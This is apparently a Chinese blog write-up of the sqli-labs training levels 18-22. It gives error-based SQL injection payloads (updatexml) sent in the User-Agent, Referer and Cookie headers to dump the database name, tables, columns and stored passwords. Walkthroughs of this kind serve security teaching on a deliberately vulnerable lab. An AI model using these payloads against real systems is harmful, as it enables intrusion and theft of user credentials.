sqli-labs靶场18-22关(http头)

目录

less18(user-agent)

less19(referer)

less20(cookie)

less21(cookie)

less22(cookie)



less18(user-agent)

这里尝试了多次注入,均没有成功。

但是发现,输入正确的用户名和密码后,会返回user-agent:

User-Agent: a or updatexml(1,concat(0x7e,(database()),0x7e),1) or 1=1------未成功注入

User-Agent: a**'or updatexml(1,concat(0x7e,(database()),0x7e),1) or 1='**1------成功注入,判断为单引号闭合!

User-Agent: a' and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'='1------爆数据库

这里最后不能用--+和#来截断后面的sql语句,因此使用'1'='1来闭合后面的单引号:

User-Agent: a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1------爆表

User-Agent: a' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1) and '1'='1------爆字段名

User-Agent:a' and updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1) and '1'='1------爆数据



less19(referer)

同样的,只是这里是返回的是referer字段,抓包修改referer字段:

Referer:a or updatexml(1,concat(0x7e,(database()),0x7e),1) or 1=1------注入失败

Referer:a' or updatexml(1,concat(0x7e,(database()),0x7e),1) or 1='1------判断为单引号闭合

Referer:a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1------爆表

Referer:a' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1) and '1'='1------爆字段名

Referer:a' and updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1) and '1'='1------爆数据



less20(cookie)

输入正确的用户名和密码后,会返回cookie内容:

抓包,在http history中,找到这个数据包,是GET型传参的数据包:

尝试对数据包中的cookie字段进行注入:

cookie:uname=admin'报错,admin'#不报错,判断为单引号闭合:

并且要么报错,要么显示cookie,那么就利用报错注入:

Cookie: uname=admin' and updatexml(1,concat(0x7e,(database()),0x7e),1)#------爆数据库:

Cookie: uname=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#爆表名

Cookie: uname=admin'

and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)#------爆字段名

Cookie: uname=admin' and updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1)#------爆数据



less21(cookie)

和20关差不多,只是这里对cookie返回的内容进行了base64加密,并且是')闭合:

抓包,在history中,找到该页面:

只需要在20关的基础上,对传参的内容进行base64编码,就行了:

同样的方法,只是这关判断为')闭合,不在赘述。



less22(cookie)

和20、21两关一样的道理,只是这关是双引号闭合,同样的方法,不在赘述。



相关推荐
qq_192779872 小时前
高级爬虫技巧:处理JavaScript渲染(Selenium)
jvm·数据库·python
u0109272713 小时前
使用Plotly创建交互式图表
jvm·数据库·python
爱学习的阿磊3 小时前
Python GUI开发:Tkinter入门教程
jvm·数据库·python
tudficdew3 小时前
实战:用Python分析某电商销售数据
jvm·数据库·python
sjjhd6524 小时前
Python日志记录(Logging)最佳实践
jvm·数据库·python
Configure-Handler4 小时前
buildroot System configuration
java·服务器·数据库
2301_821369614 小时前
用Python生成艺术:分形与算法绘图
jvm·数据库·python
电商API_180079052475 小时前
第三方淘宝商品详情 API 全维度调用指南:从技术对接到生产落地
java·大数据·前端·数据库·人工智能·网络爬虫
2401_832131955 小时前
Python单元测试(unittest)实战指南
jvm·数据库·python
打工的小王6 小时前
redis(四)搭建哨兵模式:一主二从三哨兵
数据库·redis·缓存